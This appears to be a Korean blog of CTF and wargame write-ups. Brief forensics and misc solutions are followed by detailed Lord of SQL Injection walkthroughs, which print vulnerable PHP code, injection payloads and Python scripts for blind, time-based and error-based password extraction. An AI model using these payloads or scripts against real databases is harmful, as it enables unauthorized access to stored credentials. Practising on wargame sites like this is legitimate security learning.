반응형
반응형
반응형

Forensics

 

I AM STEGO!!

50

hxd로 열어서 끝부분에서 패스워드를 찾을 수 있다.

 

openstegoflag.txt 추출

 

 

 

Thinking

100

 

.zip으로 바꾸고 ppt> mediaFLAG.PNG가 존재한다.

 

 

You are in me

100

 

jpgfooter 시그니쳐ff d9를 찾으면 다음에 MZ 시그니쳐가 보인다.

카빙해서 IDA로 보면 xor 연산을 하는 것을 알 수 있다.

간단히 코드 짜서 xor 돌리면 플래그 나온다.

 

 

 

Header Trick

150

I think the header of this flag is wrong...

 

라고 한다. 압축파일 내용을 보면, 파일이 두 개가 존재하는데, flag.txt는 암호가 걸려있고, 다른 하나는 걸려있지 않다.

 

그렇다는 것은 실제로 패스워드는 걸려있지 않지만, flag.txt만 헤더 조작을 통해 암호화가 걸린 것 처럼 만든 것이다.

 

hxd를 통해 해더를 분석해보면 헤더가 다른 것이 보인다.

 

 

 

flag.txt만 00 09 08 08 00 이고 나머지는 00 00 00 08 00임을 알 수 있다.

 

09 08을 00 00로 덮어주고 열면 된다.

 

 

 

 

Something is inside me?!

200

 

IDA로 까서 strigs에서 보이는 문자열 ascii 85로 디코딩 해주면 된다.

https://cryptii.com/pipes/ascii85-encoding

 

힌트라고 한다면,, <- Guess what it is! There's 85 possibilitys. 여기서 85가 힌트일 듯 하다.

 

 

 

 

 

All your base are belong to newbie

350

 

png footer 시그니쳐 뒤에 elf 시그니쳐가 있다.

카빙후 실행하면 문제를 풀어야 한다. 문제 답은 IDA로 까보면 찾을 수 있다.

반응형
반응형

MISC

 

Triple Bass 50

base64 몇 번 돌리면 된다.

 

Honamseon

50

-1_0으로 치환 후,

 

6자리는 앞에 00을

7자리는 앞에 0을 붙여주어 8자리를 만들어 준 뒤에

 

아스키코드로 변환하면 된다.

 

 

Brain JS

150

 

두 개의 과정을 거치면 된다.

 

https://enkhee-osiris.github.io/Decoder-JSFuck/

 

 

JSFuck de-obfuscator

JSFuck decoder, de-obfuscator

enkhee-osiris.github.io

 

https://copy.sh/brainfuck/

 

El Brainfuck

A Brainfuck editor & optimizing interpreter, written in JavaScript. The code is converted to JavaScript code and then run in a web worker, which speeds up execution at lot (try mandelbrot.b for example). Load example program hanoi.bf yapi.b hellom.bf numwa

copy.sh

반응형
반응형

Pwnable

It's very simple bof

50

str과 str2 사이에 dummy가 없다고 가정하고 str2 10바이트 채워주고 바로 다음 Hello, world!로 str을 채워주면 된다.

반응형
반응형

PHANTOM

 

 

 

상단에 ip와 email이 나오는 테이블이 있다.

 

 

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");
 
  if($_GET['joinmail']){
    if(preg_match('/duplicate/i'$_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }
 
  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'== 1$result['email'= "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>
cs

 

 

 


  if(
$_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

 

6~11행에서는 joinmail을 get방식으로 받는다.

입력값에서 duplicate라는 문자열을 필터링 하는데, duplicate가 있으면 nice try 라고 하고 죽어버린다.

duplicate와 비슷한 것들을 이용해야하는 건가..?

 

 

 

 

 

 

 

$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>"
;
  }

13~18행

no=1 or ip = '내 아이피' 에 있는 no, ip, email을 가져온다.

 

no가 1 이면 email을 *로 표시한다.

 

 

 

 

 

 

 

$_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"
); }

no가 1인 것의 email을 구해야 문제가 풀린다.

 

 

 

 

쿼리들을 순서대로 본다면, INSERT -> SELECT -> DELETE

 

값을 집어넣고, 가져와서 비교하고, 집어넣은 것들을 다시 없애기(초기화)

 

 

 

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')

 

no = 0, ip, email 순서로 insert를 한다.

 

ip에 내 아이피가 들어가고, 

 

select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'

 

여기서 내 아이피인 것도 가져오기 때문에, 위에서 삽입한 행도 불러온다.

위에서 행을 삽입할 때, email을 no=1인 email을 복제해서 넣는다면 복제된 email을 볼 수 도 있을 것이다.

 

 

 

 

 

joinmail = hihi'), (10,'xxx.xxx.xxx.xxx','hello')%23

 

이렇게 하면 한 번에 값을 두개 넣을 수 있다.

 

 

 

 

 

 

그래서 이런 것을 시도해 봤다.

hihi'), (10,'xxx.xxx.xxx.xxx',(select email from prob_phantom where no=1))#

 

 

no=1인 것의 email을 가져와 넣는 것이다. 하지만 되지 않았다..

 

이유를 찾아보니..같은 테이블에서는 오류가 나는 것이었다.

 

 

 

 

 

임시테이블을 만들어서 그 임시테이블의 값을 가져온다면?

 

hihi'), (12,'xxx.xxx.xxx.xxx',(select e from (select email as e from prob_phantom where no=1)as t) )#

 

 

 

이제 나온 email을 파라미터로 전달하자.

 

 

 

 

 

PHANTOM Clear!

반응형
반응형

frankenstein

 

와 프랑켄슈타인

 

 

...

 

 

 

소스 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>
cs

 

pw만 get방식으로 받는다.

 

이번에도 pw를 구해야 한다.

근데 frankenstein이 아닌 admin이 id인 것의 pw를 구해야 한다.

 

 

if(mysqli_error($db)) exit("error"); 가 있기 때문에 error based sqli로 풀면 될 것 같다.

 

 

( 와 ) 를 사용할 수 없기 때문에 if를 case when then end로 우회를 했다.

 

또한, length()나 substr()을 사용할 수 없기 때문에, like와 %를 사용했다.

 

 

 

?pw=' or id='admin' and case when pw like '0%' then 1 else 9e307*2 end%23

 

pw like '0%' 가 true이면 1을, false이면 9e307*2를 반환.

 

 

9e307*2는 error을 만들어 낸다.

 

9e307보다 큰 수면 error가 나는데, 구문 자체에 9e308등의 수를 넣으면 그 구문자체가 error가 나버려서 true false 판별을 못한다.

 

 

 

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"#~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = "' or id='admin' and case when pw like '"+key+string[j]+"%' then 1 else 9e307*2 end#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your-cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        #print data
 
        if not "<br>error" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

 

 

 

 

FRANKENSTEIN Clear!

 

 

 

 

 

 

 

 

 

반응형
반응형

blue_dragon

 

 

파란 용용이

 

 

 

소스를 보자

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i'$_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>
cs

 

'랑 \을 필터링한다.

 

근데 이 필터링을 쿼리를 실행하고서 필터링을 한다. 따라서 '이나 \을 넣어도 쿼리는 실행된다. 다만, 결과가 No Hack으로만 나올 뿐이다.

 

 

이때 time based sql injection을 사용하면 된다. 그럼 쿼리가 실행되서 그 결과를 시간으로 구별할 수 있다.

 

 

 

?id=admin' and if(length(pw)>0,sleep(1),0)%23

length(pw)>0이 참이면 sleep(1)을 반환한다.

 

 

 

 

 

time based sqli

https://mandu-mandu.tistory.com/331

 

LORD OF SQL INJECTION [hell_fire] 풀이

문제 소스: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

mandu-mandu.tistory.com

 

 

 

 

?id=admin%27%20and%20if(length(pw)=8,sleep(1),0)%23

 

pw의 길이는 8이다.

 

 

 

 

 

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "admin' and if(substr(pw,"+str(i+1)+",1)='"+string[j]+"',sleep(1),0)#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
 
        start = time.time()
 
        data = opener.open(request)
        data = data.read()
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

BLUE_DRAGON Clear!

반응형
반응형

red_dragon

빨간 용용이

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
 
  $query = "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'=== $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>
cs

 

 

if(strlen($_GET['id']) > 7) exit("too long string");

 

id의 길이가 7보다 크면 안된다.

 

 

 

$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;

 

?는 if와 의미가 같다.  조건 ? True : False

 

no의 값이 숫자가 아니면 1을 반환한다.

 

 

 

 $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");

 

id가 admin인 것의 no값을 가져와서 입력한 no값과 같으면 된다.

 

 

 

 

 

 

id=admin'%23 으로 입력해주면 쿼리가

query : select id from prob_red_dragon where id='admin'#' and no=1 로 되어서 admin이 나온다.

 

 

이제 no값을 찾아내야 한다.

 

쿼리에 && no>10 이런 형태를 유도해야한다.

 

id에 넣을 값을 줄여볼까..

 

 

 

 

 

 

#은 한줄 주석임을 이용해서 and no=을 날려주고

 

id에 '|| no> 을 넣고 no에 \n1을 넣어주면 쿼리가 id=''||no>1이 될 것이다.

 

 

 

id=%27||no>%23&no=%0a1

query : select id from prob_red_dragon where id=''||no>#' and no= 1

 

 

hello admin이 잘 튀어나온다. 이걸로 범위를 구해보자

 

 

 

 

 

 

최대범위

query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000

 

최소범위

query : select id from prob_red_dragon where id=''||no>#' and no= 100000000

 

 

 

저번에 사용했던 이진탐색 알고리즘을 또 우려먹자!

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "'||no>#"
    payload = urllib.quote(payload)
    payload = payload + "&no=%0a"+str(val)
    url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,1):
    k = binary_search_recursion(100000000,1000000000, i)
    key+=str(hex(k))
print key
 
cs

 

마지막 값에 1 더하면 그게 no값이다.

반응형
반응형

green_dragon

 

 

녹색 용용이

 

 

 

소스를 보자.

 

 

 

쿼리를 두 번 실행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i'$result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i'$result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'== "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>
cs

 

id와 pw값을 받아서 쿼리를 실행한 후에 결과값이 있으면

결과값의 id와 pw를 이용해서 쿼리를 실행하고 id가 admin이면 문제가 풀린다.

 

 

 

 

\을 이용해서 '을 우회해보았다.

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=admin\&pw=or%20id=0x61646d696e%23

 

query : select id,pw from prob_green_dragon where id='admin\' and pw='or id=0x61646d696e#'

 

흠.. 반응이 없다.

 

 

아에 prob_green_dragon 테이블에 값이 없는 것으로 보인다.

 

 

 

 

 

 

 

 

 

 

union으로 결과를 합쳐주면 된다.

https://www.w3schools.com/sql/sql_union.asp

 

SQL UNION Operator

SQL UNION Operator The SQL UNION Operator The UNION operator is used to combine the result-set of two or more SELECT statements. Each SELECT statement within UNION must have the same number of columns The columns must also have similar data types The colum

www.w3schools.com

 

 

?id=\&pw=%20union%20select%201,2%23

 

query : select id,pw from prob_green_dragon where id='admin\' and pw=' union select 1,2#'

query2 : select id from prob_green_dragon where id='1' and pw='2'

 

 

query2까지 잘 나온다.

 

이제 query2에서 admin이 나오도록 우회를 시도하면 된다.

 

 

 

 

 

 

 

 

 

 

 

query2를 where id='\' and pw='union select 0x61646d696e#'

으로 만들어주면 된다.

 

id에는 \가 들어가야되고 pw에는 union select 0x61646d696e#이 들어가야 한다.

 

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

여기서 hex값으로 바꿔서 넣어주자.Convert white space characters 에 체크, Remove 0x에 체크하고

나온 hex값 앞에 0x를 붙여주면 된다.

 

 

 

 

 

 

최종 url

?id=\&pw=%20union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

반응형
반응형

hell_fire과 코드상에서 다른 점이라면 

 

if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");

 

필터링이 추가된 것밖에 보이지 않는다.

 

덕분에 이전 문제에서 time based sql injection을 사용했던 방법을 이용할 수 없게 되었다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i'$_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"// same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'== "admin"$result['email'= "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>
cs

 

 

이전 문제에서 시도했던 if(id='admin' and length(email)>0,id,score) 이 것은 여전히 참 거짓 구분이 작동이 안된다.

 

 

이번에는 exp(710)을 사용해서 error based sql injection을 사용했다.

 

order by (select exp(710) where 0<(select length(email) where id='admin'))

참이면 결과를 표시하지 않고, 거짓이면 결과를 표시한다.

 

 

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=(select%20exp(710)%20where%2030=(select%20length(email)%20where%20id=%27admin%27))

이메일의 길이는 30이다.

 

 

글자는 아래와 같은 방법으로 찾으면 된다.

query : select id,email,score from prob_evil_wizard where 1 order by (select exp(710) where 'a'=(select substr(email,1,1) where id='admin'))

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(30):
    for j in range(len(string)):
        payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if not "<td>admin</td>" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
반응형
반응형

 

문제 소스:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i'$_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'== "admin"$result['email'= "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>
cs

 

코드와 함께 테이블이 주어진다.

 

 

 

order by 뒤에 if문을 사용할 수 있다.

 

order by if(id='admin' and length(email)>0,id,score) 로 하면 id='admin' and length(email)>0 이 참일때 id를 반환하여 order by id가 되어 admin이 맨 처음 표시되고, 거짓일때 score을 반환하여 order by score이 되어 score이 100인 rubiya가 맨 처음 표시되어야 한다. 이를 이용해서 email의 길이와 각 자리글자씩 구해내면 된다.

 

 

위 방법을 이용하면 되야 하는데,,, 참 거짓 구분이 안된다.. 무조건 rubiya가 최상단에 뜬다.

 

 

그래서 sleep함수를 이용해서 참일 때 1초 지연시키도록 해보았다.

if(id='admin' and length(email)>0,sleep(1),id)

 

 

개발자도구의 Network를 이용하면 확인해 볼 수 있다.

 

 

https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=if(id=%27admin%27%20and%20length(email)=28,sleep(1),id)

email의 길이는 28이다.

 

 

Time Based Blind SQL injection

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(28):
    for j in range(len(string)):
        payload = "if(id='admin' and substr(email,"+str(i+1)+",1)='"+string[j]+"',sleep(1),id)"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=cookie')
        request.get_method = lambda:'GET'
 
        start = time.time()
 
        data = opener.open(request)
        data = data.read()
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
반응형

+ Recent posts